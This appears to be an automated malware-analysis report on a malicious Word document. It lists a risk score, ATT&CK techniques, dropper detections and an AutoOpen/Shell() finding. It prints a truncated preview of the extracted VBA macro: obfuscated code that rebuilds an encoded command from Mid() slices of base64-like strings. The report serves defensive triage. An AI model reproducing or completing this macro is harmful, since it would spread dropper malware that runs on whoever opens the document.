MALICIOUS
204
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing VBA macros. The 'OLE_VBA_SHELL' heuristic indicates the presence of a Shell() call, and the 'macros.bas' file was extracted. The ClamAV detection 'Doc.Dropper.Agent-6367164-0' suggests this is a dropper. The VBA script attempts to reconstruct a string using Mid() calls, likely to form a command or URL for downloading a payload, but the full string could not be reconstructed due to truncation.
Heuristics 7
-
ClamAV: Doc.Dropper.Agent-6367164-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6367164-0
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 13484 bytes |
SHA-256: ef05120737f14fbffd1703109d856bc2ed1745824bad1922d0573533f857f52b |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 27 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "qiWDlAhDS"
Function Xqckmzkwk()
CDBQozZJhMt = Mid("4dlAS14VSQAxADYANABhADQAMABJADcANQBiADQAMABJADEANQA2AGIAMQA0ADUAdwAxADYANwB3ADXzKot6MdLza84K9mEhz", 9, 70)
jpFFz = Mid("z5cjZAASgAxADYANAA8ADEANgA0ADwAMQA2ADAAdwA3ADIAYgA1ADcAdwA1ADcAYgAxADYAMwA8ADEANAAxAEoAMQA0ADMAUAAxADUANwBAADEANQA1AGz8lCOdRi6zz0IszC45YicO", 6, 112)
UkjCIcvTHHS = Mid("5RaOwjlQ2WozvWFZm7BoADQAMABQADEANgAyAEAAMQA0ADEAdwAxADUANgA8ADEANAA0AEAAMQA1ADcAeAAxADUANQBJADcAMwBhADQANABQADEANgA1AEAAMQA2ADIASgAxADUANAA8ADEANgAzAGIANAAwAGgANwA1AEAANAAwAEoANAA3ADwAMQA1ADOADhnw9ardjM", 19, 172)
lasjnQz = Mid("ImR5Wr7qJpvidTvaiCaZwJOgA6AFQATwBpAG4AdAAxADYAKAAgACgAIABbAFMAdABEpHkoJf7i", 23, 43)
MiHQjFPImm = Mid("L1jzDcxADUASQAxADQANQA8ADEANgBjm7D2AM", 7, 23)
wHPfqCdrSjq = Mid("1QANQBKADEANQA0AGIAMQA0ADUAeAAxADQAMwBKADEANgA0AEAAMQA2ADIAeAAxADUANwBhADEANQA2AGgAMQA1ADEAdwtKonkudjAHjO", 2, 92)
BaidKoznqYT = Mid("FkANAA1AFAAMQA1ADMAeAAxADUANAB3ADEANQA3AGIANQA2AGEAMQA0ADMAYQAxADUANwA8ADEANQA1AEkANQA2AEAAMQA2ADimrwvStaCowa5lcG", 3, 95)
jcAIjiRI = Mid("ZdpCJiN79nKz8F2sb0607qgA2AEoANgA1AEoANgA1AHgANgAzAGEANgA2AGIANQAxAEkANwAzAEoANAA0AHcAMQA2ADAAYgAxADQAMQBAADEANgA0AEAAM35uWrWjS", 23, 96)
qkhDGPiaMq = Mid("lkzW8NCLFd3ADEANAAzAGgAMQA0ADEAeAAxADYANABhADEANAAzAGEAMEK7", 11, 46)
HjpGJcK = Mid("dO9wBIACAAewAgACgAIABbAEMASABhAHIAXQAoACAAWwBDAE8AbgB2AEUAUgBUAF0ACI9zN9Hkkpmt8", 4, 63)
zVwRYo = Mid("7J68Xwo835HQ9pmffE9DUANgBAADEAMgAzAEoAMQA2ADAAYgAxADUANABAADEANQAxAGIAMQA2ADQAeAA1ADAAaAA0ADcAQAA1ADQASgA0ADcAPAA1ADEAYQA3ADMAQAA0ADQAPAAxADUANgBQADEANAAxAEoAMQA1ADUAYQAxADQANQBKADQAMABiADcANQBQADQAMABJADQANAB3ADEANgAjSEU", 20, 198)
UIpTFLDX = Mid("h8nUASQAxADQAMQB3ADUANwBJADEAMgAzAGEAMQA3ADEAeAAxADYAMABAADUANwBiADQANwBJAGdNDpOs", 4, 71)
iWtFEvM = Mid("Rz3bfAxADQAMwBAADEANgAwAGEAMQA1ADQAeAAxADQAMQBAADEANwAxAGgAMQA0ADcAaAAxADYAMgBhADEANQA3AEkAMQA2ADUAYQAxADUANgBAADEANAA0AHcANQA2AEkAMQA0ADQAdwAxADQA4pwQ8MM9JcX3iXu50", 6, 142)
WMLtaAV = Mid("udllJCvhiTZt9uwQjZpidwwRXvwC2ANQB3ADEANgAzAGIAMQA2ADMAdwA0ADAAaAAii", 30, 36)
winRXhncMio = Mid("ct7KjWAAxADMttu4rQjv32pGcwOnOij4Kj5R", 7, 6)
jfpuKIYRcLY = Mid("W3ULdphnn2fOWSnRM9A9E0XC6TxADQAMQBQADEANAA3AEoANQA2AHcAMQA1ADYAQAAxADQANQA8ADEANgA0AEoANQA3AGEDBMIIS42HjDEB", 27, 68)
kULjob = Mid("qZMIfBZv8JRGTiTO6ADEANgA0AGIAMQA0ADEAYQAxADYAMgB3ADEANgA0AEAANQA1AEAAMQAyADAAeAAxADYAMgB3ADEANQA3AHgAMQA0ADMAYgAxADQHmp", 18, 99)
ziskBwcYV = Mid("6sT67sbBANQA2AGIAMQA2ADQAUAA1ADYAYQAxADAANABhADEANQA3ADwAMQA2ADcAeAAxADqrpq7w8j7KJ", 9, 63)
OCHCERXj = Mid("TIwP6Em6TaHrKLazBJwXrFSI71L0d6LXhDUAdwAxADYANABQADUANgBhADEAMgA3AGgAMQA0ADUAYQAxADQAMgBKADEAMAAzAEkAMQA1ADQAUAAxADUAMQAFVm", 34, 86)
pQTsnHKt = Mid("mDKo3s4Fk1XmrUEiPjJ6jQ8UANQBQADEANQA3AEAAMQA0ADIAeAAxADUAMgA8ADEANAA1AHcAMQA0ADMAYgAxADYANAzkQ8siII0", 24, 68)
zizdMjlL = Mid("Ji7p1BirwlRcpNBobAMQA1ADIAeAAxADYAMgBJADEAMgA0AHgAMQA1ADYAPAA1ADcAYgA1ADQASQAxADUAMABhADEANgA0AGIAMQA2ADQAPAAxADYAMAA8ADcAMgBKADUANwBAADUANwBKADEANgAzADwAMQA2ADQAQAAxADQAMQB4ADEANQA0AHgAMQA2ADMASQAxADYANABiADEIBz4oiV958rYDjB", 18, 192)
KNzXiJtSdNM = Mid("lz34gAMQA0ADEAYgAxADYAMgBKADEANQA3AEoAMQA0ADMASQA1ADYAPAAxADQAMwB3ADEANQQ0l6HjIKEWQj0O4tDjTLA0o1EMF", 5, 68)
wJGEv = Mid("E2YTzLUUbM87AEANQAwAHgAMQA2ADQAYgAxADYANABJADEANgAwAFAANwAyAGEANQA3AGIANQA3AHcAMQA2ADMAYQAxADQANQBoADEANAAyAGIAMQA0ADEMGwNl4YtaTYH7ZE", 14, 105)
WRLWOFtiR = Mid("wb2FziEHA0ji3lPADYAafb7TYo5RAChYthv", 16, 5)
KAUDZsACnF = Mid("AUl6MNIlHA3AHgAMQA1ADUAdwA1ADcAUAAxADUANgBoADEANQAyAEoAMQA0ADYAaAAxADYANABiADEAMgA0AGEAMQAyADAAYQAxADUAMwBKADEAMAA2AEkANQA3ADwANQA0AGIAMQA1ADAASgAxADYANAA8ADEANgA0AGgAMQA2ADAASQA3ADIAaAA1ADcAYQA1ADcAYgAxADzZMvMoprmZXNYTwVVr", 10, 196)
vFuMfNmR = Mid("AEn6JOdTKPvJW5IABbAHMAdAByAGkATgBHAF0AOgA6AGoAbwBJAG4AKAAgACcAJwAgACwAIAAoACAAJwA0ADQAYgAxADYANwBhADEANgAzAGgAMQA0ADMAdwAxADYAMgBhlK", 15, 116)
DwTBbrLMA = Mid("v1jAAxADQANQBJADEANwAwAE
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.